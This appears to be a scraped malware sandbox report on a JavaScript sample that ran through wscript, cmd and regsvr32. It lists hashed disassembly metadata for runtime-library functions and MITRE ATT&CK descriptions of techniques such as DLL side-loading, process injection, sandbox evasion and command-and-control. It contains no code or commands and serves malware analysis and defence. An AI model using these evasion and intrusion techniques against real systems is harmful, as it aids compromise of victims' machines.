Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: e8baff4eaddff286641c296b0cc926b9b4bc7b24fb057b1799d8bb4c2e678a60
Instruction ID: f6e58f06177f1c5b57df6ad195542c3e25207210649056ffa1eab013b0046b9a
Opcode Fuzzy Hash: e8baff4eaddff286641c296b0cc926b9b4bc7b24fb057b1799d8bb4c2e678a60
Instruction Fuzzy Hash: D8E19270928B098FDB28EFA8C4857A9B7E1FF59314F50165EE489D7219DF30E485CB82

Function 02246608 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 02246A38
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 02246B20

Strings

csm, xrefs: 02246A5A
csm, xrefs: 02246B72

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b5fe93b38fdbb449a8dcda3059ceade28013aff72cb2c9cf4c45be8ccc589a34
Instruction ID: c57d1e648e86c1fb15fbef30cbbe31dfc3f6bbd31c4f082c0379535bf199dc34
Opcode Fuzzy Hash: b5fe93b38fdbb449a8dcda3059ceade28013aff72cb2c9cf4c45be8ccc589a34
Instruction Fuzzy Hash: A9615C30628B0A8FCB6CDFA8C088374B7E5FB59319F64865AD489C7659DF74D881CB42

Function 02246750 Relevance: 6.3, APIs: 4, Instructions: 309
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__AdjustPointer.LIBCMT ref: 02246873
__AdjustPointer.LIBCMT ref: 022468BE
__AdjustPointer.LIBCMT ref: 02246995

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: af3458985603ad7ce2524011c1902c71dc37048d60be4bde5190f5d8f215ae27
Instruction ID: 410f7a83b82ea0c6deae667fbfdde7dd06512d1972f0ee7f6e9b10847cc89d40
Opcode Fuzzy Hash: af3458985603ad7ce2524011c1902c71dc37048d60be4bde5190f5d8f215ae27
Instruction Fuzzy Hash: FB81A130538F1B8B9B3DAFA88050275B3E5FB9A714B98066ED44AC315DDFB0D885CB81

Function 0223CB50 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0223CB7B
_IsNonwritableInCurrentImage.LIBCMT ref: 0223CC12

Strings

csm, xrefs: 0223CBF9

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 28f9c21a248c6750ff56b9987a7044b6f6882288d8c0aceccd40688c18a955a4
Instruction ID: 75387e7a1c1c3d734609b8cb522a22be0224ff6491c4b8446bc6a961eba3f0ce
Opcode Fuzzy Hash: 28f9c21a248c6750ff56b9987a7044b6f6882288d8c0aceccd40688c18a955a4
Instruction Fuzzy Hash: F961D470228B098BCF29EF9CD485A7477D1FB58354B10496FE886D726AEB30E851CB85

Function 022471EC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_CallSETranslator.LIBVCRUNTIME ref: 02247297

Strings

RCC, xrefs: 02247267
MOC, xrefs: 0224725F

Memory Dump Source

Source File: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, Offset: 02201000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2201000_regsvr32.jbxd

Yara matches

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 2b0857dc7f466c401f9652ed94ee3215145e256993a502d5bc3a495471cbec0f
Instruction ID: c9cb6fb7569fdb71e0a805c881d9155433fbb1ae3b83056114398c0b75fda638
Opcode Fuzzy Hash: 2b0857dc7f466c401f9652ed94ee3215145e256993a502d5bc3a495471cbec0f
Instruction Fuzzy Hash: 9E71AF30528B488FD729EF58C446BA9BBE0FB99314F444A5EE899C3215DB74E481CB82

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 126484723232027823.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: wscript.exePID: 6672, Parent PID: 1028

General

Chronological Activities

Analysis Process: cmd.exePID: 6948, Parent PID: 6672

General

Chronological Activities

Windows Analysis Report
126484723232027823.js

Function 02209A30 Relevance: 9.0, APIs: 2, Strings: 1, Instructions: 3726
threadCOMMON

Function 0220BDB0 Relevance: 3.2, APIs: 1, Instructions: 1733
windowCOMMON

Function 0223D274 Relevance: 1.6, APIs: 1, Instructions: 93
COMMONLIBRARYCODE

Function 02236F30 Relevance: 8.1, Strings: 1, Instructions: 6827
COMMON

Function 02246C48 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 463
COMMONLIBRARYCODE

Function 02246608 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202
COMMONLIBRARYCODE

Function 02246750 Relevance: 6.3, APIs: 4, Instructions: 309
COMMONLIBRARYCODE

Function 0223CB50 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233
COMMON

Function 022471EC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233
COMMONLIBRARYCODE